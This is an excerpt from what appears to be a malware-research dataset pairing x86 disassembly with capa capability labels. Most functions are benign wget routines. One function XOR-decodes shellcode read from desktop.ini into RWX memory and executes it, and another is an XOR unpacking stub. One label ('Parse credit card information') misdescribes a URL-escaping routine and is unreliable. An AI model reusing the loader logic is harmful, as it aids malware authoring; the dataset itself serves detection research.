joyce8/EMBER2024-capa huggingface dataset:
Function at 0x493910
Capabilities:
Encode data using xor

Disassembly:
push ecx
mov ecx, dword [esp + 8]
push ebp
mov ebp, dword [ecx + 0xc]
mov ecx, dword [ecx + 4]
lea ecx, [ecx + ecx*2]
lea ecx, [ebp + ecx*4]
cmp ebp, ecx
push esi
mov eax, 1
mov esi, 4
mov dword [esp + 0x10], ebp
mov dword [esp + 8], ecx
jae 0x4939c0
push ebx
push edi
mov edi, dword [esp + 0x1c]
mov ebx, dword [ebp + 4]
mov edx, dword [ebp + 8]
mov ecx, edi
add edi, ebx
cmp edx, 1
jne 0x49398a
cmp ecx, edi
jae 0x4939af
mov edx, dword [0x4f7218]
mov ebp, dword [edx + 0x14]
xor edx, edx
mov dl, byte [ecx]
xor ebx, ebx
mov bl, byte [edx + ebp]
mov edx, eax
and edx, 0x3f
add edx, esi
add esi, 3
imul ebx, edx
mov edx, eax
shl edx, 8
add ebx, edx
xor eax, ebx
inc ecx
cmp ecx, edi
jb 0x493960
mov ebp, dword [esp + 0x18]
jmp 0x4939af
cmp ecx, edi
jae 0x4939af
mov edi, edi
xor ebx, ebx
mov bl, byte [ecx]
mov edx, eax
and edx, 0x3f
add edx, esi
add esi, 3
imul edx, ebx
mov ebx, eax
shl ebx, 8
add edx, ebx
xor eax, edx
inc ecx
cmp ecx, edi
jb 0x493990
mov ecx, dword [esp + 0x10]
add ebp, 0xc
cmp ebp, ecx
mov dword [esp + 0x18], ebp
jb 0x493944
pop edi
pop ebx
pop esi
pop ebp
pop ecx
ret

Function at 0x4939d0
Capabilities:
Encode data using xor

Disassembly:
push ecx
mov ecx, dword [esp + 8]
push ebp
mov ebp, dword [ecx + 0xc]
mov ecx, dword [ecx + 4]
lea ecx, [ecx + ecx*2]
lea ecx, [ebp + ecx*4]
cmp ebp, ecx
push esi
mov eax, 1
mov esi, 4
mov dword [esp + 0x10], ebp
mov dword [esp + 8], ecx
jae 0x493a81
push ebx
push edi
mov edx, dword [esp + 0x1c]
mov ecx, dword [ebp]
mov edi, dword [ebp + 4]
add ecx, edx
mov edx, dword [ebp + 8]
add edi, ecx
cmp edx, 1
jne 0x493a4d
cmp ecx, edi
jae 0x493a70
mov edx, dword [0x4f7218]
mov ebp, dword [edx + 0x14]
xor edx, edx
mov dl, byte [ecx]
xor ebx, ebx
mov bl, byte [edx + ebp]
mov edx, eax
and edx, 0x3f
add edx, esi
add esi, 3
imul ebx, edx
mov edx, eax
shl edx, 8
add ebx, edx
xor eax, ebx
inc ecx
cmp ecx, edi
jb 0x493a23
mov ebp, dword [esp + 0x18]
jmp 0x493a70
cmp ecx, edi
jae 0x493a70
xor ebx, ebx
mov bl, byte [ecx]
mov edx, eax
and edx, 0x3f
add edx, esi
add esi, 3
imul edx, ebx
mov ebx, eax
shl ebx, 8
add edx, ebx
xor eax, edx
inc ecx
cmp ecx, edi
jb 0x493a51
mov ecx, dword [esp + 0x10]
add ebp, 0xc
cmp ebp, ecx
mov dword [esp + 0x18], ebp
jb 0x493a00
pop edi
pop ebx
pop esi
pop ebp
pop ecx
ret
Function at 0x4b4ac0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov eax, dword [esp + 4]
mov eax, dword [eax + 4]
test eax, eax
jne 0x4b4adc
call fcn.00480930
mov dword [eax], 0x85
mov eax, 0x85
ret
mov eax, dword [eax]
mov dword [esp + 4], eax
jmp fcn.004a49e0

Function at 0x4b7867
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4b7887
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.004b5d13
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x4b78aa
test byte [esp + 8], 2
je 0x4b78aa
call fcn.004b5d86
mov dword [eax], 0xd
call fcn.004b5d8f
mov dword [eax], 5
jmp 0x4b7883
xor eax, eax
ret

Function at 0x4c4816
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x4c4841
test byte [esp + 8], 0x80
je 0x4c4830
and al, 0xfe
jmp 0x4c4832
or al, 1
push eax
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test eax, eax
jne 0x4c4852
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.004b5d13
pop ecx
or eax, 0xffffffff
ret
xor eax, eax
ret

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
nop
pop eax
nop
nop
add eax, 0x403ac5
nop
nop
sub eax, 0x403a6b
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x42e030
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x42e01e
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp loc.00401219
Function at 0x40db80
Capabilities:
Query environment variable

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
cmp dword [0x4143d8], 0
jne 0x40dc01
cmp dword [0x4143f8], 0
jne 0x40dbb0
call sub.KERNEL32.DLL_GetEnvironmentStrings
mov dword [0x4143f8], eax
test eax, eax
jne 0x40dbb0
push str.GetEnvironmentStrings_failed
call fcn.0040cbf0
pop ecx
xor ebp, ebp
xor esi, esi
mov ebx, dword [0x4143f8]
jmp 0x40dbc4
lea eax, [edi + 1]
inc esi
add ebp, eax
add ebx, eax
push ebx
call fcn.00406b08
pop ecx
mov edi, eax
test eax, eax
jne 0x40dbbc
lea edi, [ebp + 1]
push edi
call fcn.00405c3c
pop ecx
mov ebx, eax
mov dword [0x4143dc], ebx
test ebx, ebx
jne 0x40dbee
xor eax, eax
jmp 0x40dcc4
push edi
mov edx, dword [0x4143f8]
push edx
push ebx
call fcn.004069b8
add esp, 0xc
jmp 0x40dc21
xor esi, esi
mov ebx, dword [0x4143d8]
jmp 0x40dc1b
push eax
call fcn.00406b08
pop ecx
test eax, eax
jne 0x40dc17
dec esi
inc esi
add ebx, 4
mov eax, dword [ebx]
test eax, eax
jne 0x40dc0b
lea ebx, [esi + 4]
push 4
mov dword [0x4143e0], ebx
inc ebx
push ebx
call fcn.00405a3c
add esp, 8
test eax, eax
mov dword [esp], eax
jne 0x40dc44
xor eax, eax
jmp 0x40dcc4
cmp dword [0x4143d8], 0
jne 0x40dc75
xor esi, esi
mov ebx, dword [0x4143dc]
mov eax, dword [esp]
mov ebp, eax
jmp 0x40dc66
mov dword [ebp], ebx
add ebp, 4
inc esi
inc edi
add ebx, edi
push ebx
call fcn.00406b08
pop ecx
mov edi, eax
test eax, eax
jne 0x40dc5c
jmp 0x40dca6
xor esi, esi
mov ebx, dword [0x4143d8]
mov eax, dword [esp]
mov edi, eax
jmp 0x40dca0
push eax
call fcn.00406b08
pop ecx
test eax, eax
je 0x40dc95
mov eax, dword [ebx]
mov dword [edi], eax
jmp 0x40dc99
dec esi
add edi, 0xfffffffc
add edi, 4
inc esi
add ebx, 4
mov eax, dword [ebx]
test eax, eax
jne 0x40dc84
mov eax, dword [0x4143d8]
test eax, eax
je 0x40dcb6
push eax
call fcn.00405c4c
pop ecx
mov edx, dword [esp]
mov eax, 1
mov dword [0x4143d8], edx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x403a4c
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [ebp - 0x10], eax
cmp dword [ebp + 0xc], 2
jne 0x403ac8
mov eax, dword [ebp - 0x10]
add eax, 1
lea edx, [eax + 0xf]
mov eax, 0x10
sub eax, 1
add eax, edx
mov ecx, 0x10
mov edx, 0
div ecx
imul eax, eax, 0x10
call fcn.00620f20
sub esp, eax
lea eax, [esp + 0x14]
add eax, 0xf
shr eax, 4
shl eax, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.msvcrt.dll_strcpy
mov eax, dword [ebp - 0x10]
lea edx, [eax - 4]
mov eax, dword [ebp - 0xc]
add eax, edx
mov dword [eax], 0x6769726f
mov byte [eax + 4], 0
jmp 0x403b27
mov eax, dword [ebp - 0x10]
add eax, 6
lea edx, [eax + 0xf]
mov eax, 0x10
sub eax, 1
add eax, edx
mov ecx, 0x10
mov edx, 0
div ecx
imul eax, eax, 0x10
call fcn.00620f20
sub esp, eax
lea eax, [esp + 0x14]
add eax, 0xf
shr eax, 4
shl eax, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.msvcrt.dll_strcpy
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
add eax, edx
mov dword [eax], 0x69726f2e
mov word [eax + 4], 0x67
mov eax, dword [0x6e0060]
test eax, eax
jne 0x403b41
mov dword [esp], 0
call fcn.0041238e
mov dword [0x6e0060], eax
mov eax, dword [0x6e0060]
mov edx, dword [ebp + 8]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.004343f5
test eax, eax
jne 0x403bba
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.msvcrt.dll_rename
test eax, eax
je 0x403ba6
mov eax, dword [sym.imp.msvcrt.dll__errno]
call eax
mov eax, dword [eax]
mov dword [esp], eax
call fcn.00463fcc
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], str.Cannot_back_up__s_as__s:__s_n
mov dword [esp], 1
call fcn.00423602
mov eax, dword [0x6e0060]
mov edx, dword [ebp + 8]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.004343b3
leave
ret
Function at 0x403dbe
Capabilities:
Parse credit card information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov byte [ebp - 0x1c], al
mov dword [esp + 4], 0x63e412
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.msvcrt.dll_strpbrk
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x403e0c
cmp byte [ebp - 0x1c], 0
je 0x403dfc
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.msvcrt.dll__strdup
jmp 0x403f86
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.00404653
jmp 0x403f86
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, 1
lea edx, [eax + 0xf]
mov eax, 0x10
sub eax, 1
add eax, edx
mov ecx, 0x10
mov edx, 0
div ecx
imul eax, eax, 0x10
call fcn.00620f20
sub esp, eax
lea eax, [esp + 8]
add eax, 0xf
shr eax, 4
shl eax, 4
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x18]
mov byte [eax], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
jmp 0x403f53
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
movsx eax, al
cmp eax, 0x25
je 0x403e98
cmp eax, 0x25
jg 0x403e89
cmp eax, 0x23
je 0x403ec1
jmp 0x403f3e
cmp eax, 0x3b
je 0x403ee7
cmp eax, 0x3f
je 0x403f0d
jmp 0x403f3e
mov eax, dword [ebp - 0x10]
lea edx, [eax + 1]
mov dword [ebp - 0x10], edx
mov byte [eax], 0x25
mov eax, dword [ebp - 0x10]
lea edx, [eax + 1]
mov dword [ebp - 0x10], edx
mov byte [eax], 0x32
mov eax, dword [ebp - 0x10]
lea edx, [eax + 1]
mov dword [ebp - 0x10], edx
mov byte [eax], 0x35
jmp 0x403f4f
mov eax, dword [ebp - 0x10]
lea edx, [eax + 1]
mov dword [ebp - 0x10], edx
mov byte [eax], 0x25
mov eax, dword [ebp - 0x10]
lea edx, [eax + 1]
mov dword [ebp - 0x10], edx
mov byte [eax], 0x32
mov eax, dword [ebp - 0x10]
lea edx, [eax + 1]
mov dword [ebp - 0x10], edx
mov byte [eax], 0x33
jmp 0x403f4f
mov eax, dword [ebp - 0x10]
lea edx, [eax + 1]
mov dword [ebp - 0x10], edx
mov byte [eax], 0x25
mov eax, dword [ebp - 0x10]
lea edx, [eax + 1]
mov dword [ebp - 0x10], edx
mov byte [eax], 0x33
mov eax, dword [ebp - 0x10]
lea edx, [eax + 1]
mov dword [ebp - 0x10], edx
mov byte [eax], 0x42
jmp 0x403f4f
movzx eax, byte [0x6ea499]
test al, al
je 0x403f3e
mov eax, dword [ebp - 0x10]
lea edx, [eax + 1]
mov dword [ebp - 0x10], edx
mov byte [eax], 0x25
mov eax, dword [ebp - 0x10]
lea edx, [eax + 1]
mov dword [ebp - 0x10], edx
mov byte [eax], 0x33
mov eax, dword [ebp - 0x10]
lea edx, [eax + 1]
mov dword [ebp - 0x10], edx
mov byte [eax], 0x46
jmp 0x403f4f
mov eax, dword [ebp - 0x10]
lea edx, [eax + 1]
mov dword [ebp - 0x10], edx
mov edx, dword [ebp - 0xc]
movzx edx, byte [edx]
mov byte [eax], dl
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
test al, al
jne 0x403e6c
mov eax, dword [ebp - 0x10]
mov byte [eax], 0
cmp byte [ebp - 0x1c], 0
je 0x403f7a
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sub.msvcrt.dll__strdup
jmp 0x403f85
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call fcn.00404653
nop
leave
ret
Function at 0x412ab2
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov eax, dword [ebp + 8]
cmp eax, dword [ebp + 0xc]
jne 0x412ad8
mov eax, 0
jmp 0x412c61
mov eax, dword [ebp + 8]
movzx eax, byte [eax]
cmp al, 0x3a
jne 0x412b02
add dword [ebp + 8], 1
mov eax, dword [ebp + 8]
cmp eax, dword [ebp + 0xc]
je 0x412af8
mov eax, dword [ebp + 8]
movzx eax, byte [eax]
cmp al, 0x3a
je 0x412b02
mov eax, 0
jmp 0x412c61
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
mov byte [ebp - 0x15], 0
mov dword [ebp - 0x1c], 0
jmp 0x412c12
mov eax, dword [ebp + 8]
lea edx, [eax + 1]
mov dword [ebp + 8], edx
movzx eax, byte [eax]
movsx eax, al
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call fcn.0043f9d5
test al, al
je 0x412b78
shl dword [ebp - 0x1c], 4
cmp dword [ebp - 0x20], 0x40
jg 0x412b4b
mov eax, dword [ebp - 0x20]
sub eax, 0x30
jmp 0x412b59
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call fcn.0043fa15
sub eax, 0x37
or dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xffff
jbe 0x412b6f
mov eax, 0
jmp 0x412c61
mov byte [ebp - 0x15], 1
jmp 0x412c12
cmp dword [ebp - 0x20], 0x3a
jne 0x412bdf
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
movzx eax, byte [ebp - 0x15]
xor eax, 1
test al, al
je 0x412bac
cmp dword [ebp - 0x14], 0
je 0x412b9f
mov eax, 0
jmp 0x412c61
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp + 8]
add eax, edx
mov dword [ebp - 0x14], eax
jmp 0x412c12
mov eax, dword [ebp + 8]
cmp eax, dword [ebp + 0xc]
jne 0x412bbe
mov eax, 0
jmp 0x412c61
cmp dword [ebp - 0x10], 0xe
jle 0x412bce
mov eax, 0
jmp 0x412c61
add dword [ebp - 0x10], 2
mov byte [ebp - 0x15], 0
mov dword [ebp - 0x1c], 0
jmp 0x412c12
cmp dword [ebp - 0x20], 0x2e
jne 0x412c0b
cmp dword [ebp - 0x10], 0xc
jg 0x412c0b
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call fcn.004129df
test al, al
je 0x412c0b
add dword [ebp - 0x10], 4
mov byte [ebp - 0x15], 0
jmp 0x412c1e
mov eax, 0
jmp 0x412c61
mov eax, dword [ebp + 8]
cmp eax, dword [ebp + 0xc]
jb 0x412b18
cmp byte [ebp - 0x15], 0
je 0x412c35
cmp dword [ebp - 0x10], 0xe
jle 0x412c31
mov eax, 0
jmp 0x412c61
add dword [ebp - 0x10], 2
cmp dword [ebp - 0x14], 0
je 0x412c4f
cmp dword [ebp - 0x10], 0x10
jne 0x412c48
mov eax, 0
jmp 0x412c61
mov dword [ebp - 0x10], 0x10
cmp dword [ebp - 0x10], 0x10
je 0x412c5c
mov eax, 0
jmp 0x412c61
mov eax, 1
leave
ret
Function at 0x417a32
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x54
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
movzx eax, byte [0x6ea46b]
movzx eax, al
test eax, eax
je 0x417a74
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov dword [esp], str._writing_BODY_file__s_...
call fcn.0042371d
mov dword [esp + 4], 0x653f84
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sub.msvcrt.dll_fopen
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x417a9a
mov eax, 0xffffffff
jmp 0x417c08
jmp 0x417b89
mov eax, dword [ebp - 0x14]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x2000
mov dword [esp + 4], 1
mov dword [esp], 0x6e01c0
call sub.msvcrt.dll_fread
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x417ad0
jmp 0x417bb5
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x10]
sbb edx, dword [ebp - 0xc]
mov ecx, eax
mov ebx, edx
mov eax, dword [ebp - 0x18]
cdq
cmp ebx, edx
jl 0x417af4
cmp ebx, edx
jg 0x417af0
cmp ecx, eax
jbe 0x417af4
mov ecx, eax
mov ebx, edx
mov dword [ebp - 0x1c], ecx
fld1
fchs
fstp qword [esp + 0xc]
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x6e01c0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.00402aa2
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jns 0x417b37
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
mov eax, 0xffffffff
jmp 0x417c08
cmp dword [ebp + 0x18], 0
je 0x417b7f
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp + 0x18]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov dword [esp], 0x6e01c0
call fcn.00463eb5
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x1c]
je 0x417b7f
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
mov eax, 0xfffffffe
jmp 0x417c08
mov eax, dword [ebp - 0x1c]
cdq
add dword [ebp - 0x10], eax
adc dword [ebp - 0xc], edx
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.msvcrt.dll_feof
test eax, eax
jne 0x417bb5
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0xc]
cmp edx, dword [ebp - 0x2c]
jl 0x417a9f
cmp edx, dword [ebp - 0x2c]
jg 0x417bb5
cmp eax, dword [ebp - 0x30]
jb 0x417a9f
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0xc]
cmp edx, dword [ebp - 0x2c]
jg 0x417be9
cmp edx, dword [ebp - 0x2c]
jl 0x417bd5
cmp eax, dword [ebp - 0x30]
jae 0x417be9
mov eax, dword [sym.imp.msvcrt.dll__errno]
call eax
mov dword [eax], 0x16
mov eax, 0xffffffff
jmp 0x417c08
movzx eax, byte [0x6ea46b]
movzx eax, al
test eax, eax
je 0x417c03
mov dword [esp], str.done__n
call fcn.0042371d
mov eax, 0
add esp, 0x54
pop ebx
pop ebp
ret
Function at 0x420902
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp + 8], 0x228
mov dword [esp + 4], 0
mov dword [esp], 0x6ea300
call sub.msvcrt.dll_memset
mov byte [0x6ea4d5], 1
mov dword [0x6ea300], 0xffffffff
mov dword [0x6ea308], 0x14
mov dword [0x6ea31c], 5
mov byte [0x6ea328], 1
mov byte [0x6ea3e0], 1
mov byte [0x6ea3e1], 1
mov byte [0x6ea47f], 1
mov byte [0x6ea3f0], 1
mov byte [0x6ea3f1], 1
mov byte [0x6ea47d], 0
mov dword [esp], str.no_proxy
call sub.msvcrt.dll_getenv
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x42099f
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call fcn.00433144
mov dword [0x6ea400], eax
mov dword [0x6ea508], 2
mov byte [0x6ea3f2], 1
mov byte [0x6ea46d], 1
fld qword [0x6569b8]
fstp qword [0x6ea420]
mov byte [0x6ea450], 1
mov byte [0x6ea47e], 1
mov dword [0x6ea488], 0x400
mov dword [0x6ea48c], 0
mov dword [0x6ea494], 0xa
mov dword [0x6ea490], 0x32
mov byte [0x6ea38c], 1
mov byte [0x6ea3e2], 1
mov byte [0x6ea399], 1
mov dword [0x6ea4a4], 1
mov byte [0x6ea4d1], 1
mov byte [0x6ea4d2], 0
mov byte [0x6ea4d3], 0
mov byte [0x6ea4d4], 0
mov dword [0x6ea4f8], 2
mov byte [0x6ea4fc], 1
mov byte [0x6ea4fd], 0
mov dword [0x6ea500], 0
mov dword [0x6ea378], 0
mov dword [0x6ea314], 0x14
fld qword [0x6569c0]
fstp qword [0x6ea448]
mov byte [0x6ea50e], 1
mov dword [0x6ea514], 0
mov dword [0x6ea510], 0
mov byte [0x6ea519], 1
mov byte [0x6ea51a], 0
mov dword [0x6ea3b0], 0
mov dword [0x6ea3b4], 0
mov byte [0x6ea3b8], 1
mov byte [0x6ea3b9], 1
mov byte [0x6ea3ba], 0
mov dword [0x6ea3a8], 0
mov dword [0x6ea3a4], 0
mov byte [0x6ea3bb], 1
mov dword [0x6ea3d0], 0xffffffff
mov dword [0x6ea3d4], 0xffffffff
mov dword [0x6ea40c], 0xffffffff
mov byte [0x6ea410], 0
mov byte [0x6ea520], 1
leave
ret

Function at 0x420b84
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp], str.WGETRC
call sub.msvcrt.dll_getenv
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x420bfd
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
test al, al
je 0x420bfd
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call fcn.0043350e
xor eax, 1
test al, al
je 0x420bf0
mov eax, dword [0x6ea2c4]
mov edx, dword [sym.imp.msvcrt.dll__iob]
lea ecx, [edx + 0x40]
mov edx, dword [ebp - 0xc]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], str._s:_WGETRC_points_to__s__which_doesnt_exist._n
mov dword [esp], ecx
call fcn.00463b20
mov dword [esp], 1
call sub.msvcrt.dll_exit
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call fcn.004485f9
jmp 0x420c02
mov eax, 0
leave
ret
Function at 0x420f45
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov byte [ebp - 9], 1
mov dword [esp], str.SYSTEM_WGETRC
call sub.msvcrt.dll_getenv
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x420fc7
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call fcn.0043350e
test al, al
je 0x420fc7
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call fcn.00420d14
movzx edx, byte [ebp - 9]
movzx eax, al
and eax, edx
test eax, eax
setne al
mov byte [ebp - 9], al
movzx eax, byte [ebp - 9]
xor eax, 1
test al, al
je 0x420fc5
mov eax, dword [sym.imp.msvcrt.dll__iob]
lea edx, [eax + 0x40]
mov eax, dword [ebp - 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], str.Parsing_system_wgetrc_file__env_SYSTEM_WGETRC__failed.__Please_check_n_s__nor_specify_a_different_file_using___config._n
mov dword [esp], edx
call fcn.00463b20
mov dword [esp], 2
call sub.msvcrt.dll_exit
jmp 0x420ff4
mov dword [esp], 0x65659c
call fcn.0043350e
test al, al
je 0x420ff4
mov dword [esp], 0x65659c
call fcn.00420d14
movzx edx, byte [ebp - 9]
movzx eax, al
and eax, edx
test eax, eax
setne al
mov byte [ebp - 9], al
movzx eax, byte [ebp - 9]
xor eax, 1
test al, al
je 0x42102b
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp + 8], 0x65659c
mov dword [esp + 4], str.Parsing_system_wgetrc_file_failed.__Please_check_n_s__nor_specify_a_different_file_using___config._n
mov dword [esp], eax
call fcn.00463b20
mov dword [esp], 2
call sub.msvcrt.dll_exit
call fcn.00420c84
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x42103e
jmp 0x4210d0
mov dword [esp + 4], 0x65659c
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x42108a
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call fcn.00448138
mov ecx, eax
mov eax, dword [0x6ea2c4]
mov edx, dword [sym.imp.msvcrt.dll__iob]
add edx, 0x40
mov dword [esp + 0xc], ecx
mov dword [esp + 8], eax
mov dword [esp + 4], str._s:_Warning:_Both_system_and_user_wgetrc_point_to__s._n
mov dword [esp], edx
call fcn.00463b20
jmp 0x4210a6
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call fcn.00420d14
movzx edx, byte [ebp - 9]
movzx eax, al
and eax, edx
test eax, eax
setne al
mov byte [ebp - 9], al
movzx eax, byte [ebp - 9]
xor eax, 1
test al, al
je 0x4210bd
mov dword [esp], 2
call sub.msvcrt.dll_exit
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call fcn.0062e160
mov dword [ebp - 0x14], 0
nop
leave
ret